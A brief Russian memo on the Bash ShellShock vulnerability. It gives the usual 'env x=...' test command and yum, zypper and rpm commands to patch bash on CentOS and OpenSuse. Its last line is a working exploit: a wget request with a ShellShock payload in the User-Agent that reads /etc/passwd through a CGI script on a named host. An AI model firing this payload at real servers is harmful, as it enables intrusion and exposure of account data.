Уязвимость ShellShock

Уязвимость ShellShock

http://habrahabr.ru/company/eset/blog/238257/

env x='() { :;}; echo vulnerable' bash -c "echo completed"



Critical Bash updates for CentOS-5, CentOS-6, and CentOS-7
yum update bash


OpenSuse
zypper update bash

OpenSuse 12.3
rpm -Uvh http://download.opensuse.org/update/12.3/i586/bash-4.2-61.15.1.i586.rpm




wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://video.kristal-lab.ru/cgi-bin/test.cgi